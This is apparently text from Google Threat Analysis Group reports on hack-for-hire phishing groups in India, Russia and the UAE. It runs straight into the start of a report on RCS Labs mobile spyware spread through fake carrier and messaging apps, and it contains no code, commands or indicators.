The hack-for-hire landscape is fluid, both in how the attackers organize themselves and in the wide range of targets they pursue in a single campaign at the behest of disparate clients.


Some hack-for-hire attackers openly advertise their products and services to anyone willing to pay, while others operate more discreetly selling to a limited audience.


For example, TAG has observed Indian hack-for-hire firms work with third party private investigative services — intermediaries that reach out for services when a client requires them — and provide data exfiltrated from a successful operation.


This is detailed in depth in today’s Reuters investigation into the Indian hack-for-hire ecosystem.


We have also observed Indian hack-for-hire firms work with freelance actors not directly employed by the firms themselves.


The breadth of targets in hack-for-hire campaigns stands in contrast to many government-backed operations, which often have a clearer delineation of mission and targets.


A recent campaign from an Indian hack-for-hire operator was observed targeting an IT company in Cyprus, an education institution in Nigeria, a fintech company in the Balkans and a shopping company in Israel.


India


Since 2012, TAG has been tracking an interwoven set of Indian hack-for-hire actors, with many having previously worked for Indian offensive security providers Appin and Belltrox.


One cluster of this activity frequently targets government, healthcare, and telecom sectors in Saudi Arabia, the United Arab Emirates, and Bahrain with credential phishing campaigns.


These credential phishing campaigns have ranged from targeting specific government organizations to AWS accounts to Gmail accounts.


TAG has linked former employees of both Appin and Belltrox to Rebsec, a new firm that openly advertises corporate espionage as an offering on its company website.


Russia


While investigating a 2017 credential phishing campaign that targeted a prominent Russian anti-corruption journalist, we discovered the Russian attacker targeting other journalists, politicians across Europe, and various NGOs and non-profit organizations.


But what stuck out during this investigation was the breadth of targeting, which also included individuals that had no affiliation with the selected organizations, and appeared to be regular, everyday citizens in Russia and surrounding countries.


This hack-for-hire actor has been publicly referred to as 'Void Balaur'.


These campaigns were similar regardless of target, consisting of a credential phishing email with a link to an attacker-controlled phishing page.


The lures ranged from fake Gmail and other webmail provider notifications to messages spoofing Russian government organizations.


After the target account was compromised, the attacker generally maintained persistence by granting an OAuth token to a legitimate email application like Thunderbird or generating an App Password to access the account via IMAP.


Both OAuth tokens and App Passwords are revoked when a user changes their password.


During our early investigation, TAG discovered the attacker’s public website (no longer available) advertising account hacking capabilities for email and social media services.


The site claimed to have received positive reviews on Russian underground forums such as Dublikat and Probiv.cc.


Over the past five years, TAG has observed the group targeting accounts at major webmail providers like Gmail, Hotmail, and Yahoo! and regional webmail providers like abv.bg, mail.ru, inbox.lv, and UKR.net.


United Arab Emirates TAG is also tracking a hack-for-hire group now based in the United Arab Emirates that is mostly active in the Middle East and North Africa.


They have primarily targeted government, education, and political organizations including Middle East focused NGOs in Europe and the Palestinian political party Fatah.


Amnesty International has also reported on their campaigns.


The group commonly uses Google or OWA password reset lures to steal credentials from targets, often using the MailJet or SendGrid API to send phishing emails.


Unlike many hack-for-hire actors that use open source phishing frameworks like Evilginx or GoPhish, this group uses a custom phishing kit that utilizes Selenium, a self described 'suite of tools for automating web browsers.'


Previously described by Amnesty, this phishing kit has remained under active development over the past five years.


After compromising an account, the actor maintains persistence by granting themselves an OAuth token to a legitimate email app like Thunderbird, or by linking the victim Gmail account to an attacker-owned account on a third-party mail provider.


The attacker would then use a custom tool to download the mailbox contents via IMAP.


This group also has links to the original developers of H-Worm, also known as njRAT.


In 2014, Microsoft filed a civil suit against the developer, Mohammed Benabdellah, for the development and dissemination of H-Worm.


Benabdellah, who also goes by the moniker Houdini, has been actively involved in the day-to-day development and operational deployment of the credential phishing capabilities used by this group since its inception.


As part of our efforts to combat serious threat actors, we use results of our research to improve the safety and security of our products.


Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further harm.


We encourage any high risk user to enable Advanced Protection and Google Account Level Enhanced Safe Browsing and ensure that all devices are updated.


Additionally, our CyberCrime Investigation Group is sharing relevant details and indicators with law enforcement.


TAG is committed to sharing our findings as a way of raising awareness with the security community, and with companies and individuals that might have been targeted.


We hope that improved understanding of the tactics and techniques will enhance threat hunting capability and lead to stronger user protections across the industry.


With contributions from Winnona DeSombre UAE hack-for-hire Group Domains: Indian hack-for-hire Group Domains: Russian hack-for-hire Group Domains:


Google has been tracking the activities of commercial spyware vendors for years, and taking steps to protect people.


Just last week, Google testified at the EU Parliamentary hearing on “Big Tech and Spyware” about the work we have done to monitor and disrupt this thriving industry.


Seven of the nine zero-day vulnerabilities our Threat Analysis Group discovered in 2021 fall into this category: developed by commercial providers and sold to and used by government-backed actors.


TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.


Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments with the technical expertise to develop and operationalize exploits.


This makes the Internet less safe and threatens the trust on which users depend.


Today, alongside Google’s Project Zero, we are detailing capabilities we attribute to RCS Labs, an Italian vendor that uses a combination of tactics, including atypical drive-by downloads as initial infection vectors, to target mobile users on both iOS and Android.


We have identified victims located in Italy and Kazakhstan.


All campaigns TAG observed originated with a unique link sent to the target.


Once clicked, the page attempted to get the user to download and install a malicious application on either Android or iOS.


In some cases, we believe the actors worked with the target’s ISP to disable the target’s mobile data connectivity.


Once disabled, the attacker would send a malicious link via SMS asking the target to install an application to recover their data connectivity.


We believe this is the reason why most of the applications masqueraded as mobile carrier applications.


When ISP involvement is not possible, applications are masqueraded as messaging applications.


The page, in Italian, asks the user to install one of these applications in order to recover their account.


Looking at the code of the page, we can see that only the WhatsApp download links are pointing to attacker controlled content for Android and iOS users.


To distribute the iOS application, attackers simply followed Apple instructions on how to distribute proprietary in-house apps to Apple devices and used the itms-services protocol with the following manifest file and using com.ios.Carrier as the identifier.


The resulting application is signed with a certificate from a company named 3-1 Mobile SRL (Developer ID: 58UP7GFWAA).


The certificate satisfies all of the iOS code signing requirements on any iOS devices because the company was enrolled in the Apple Developer Enterprise Program.


These apps still run inside the iOS app sandbox and are subject to the exact same technical privacy and security enforcement mechanisms (e.g. code side loading) as any App Store apps.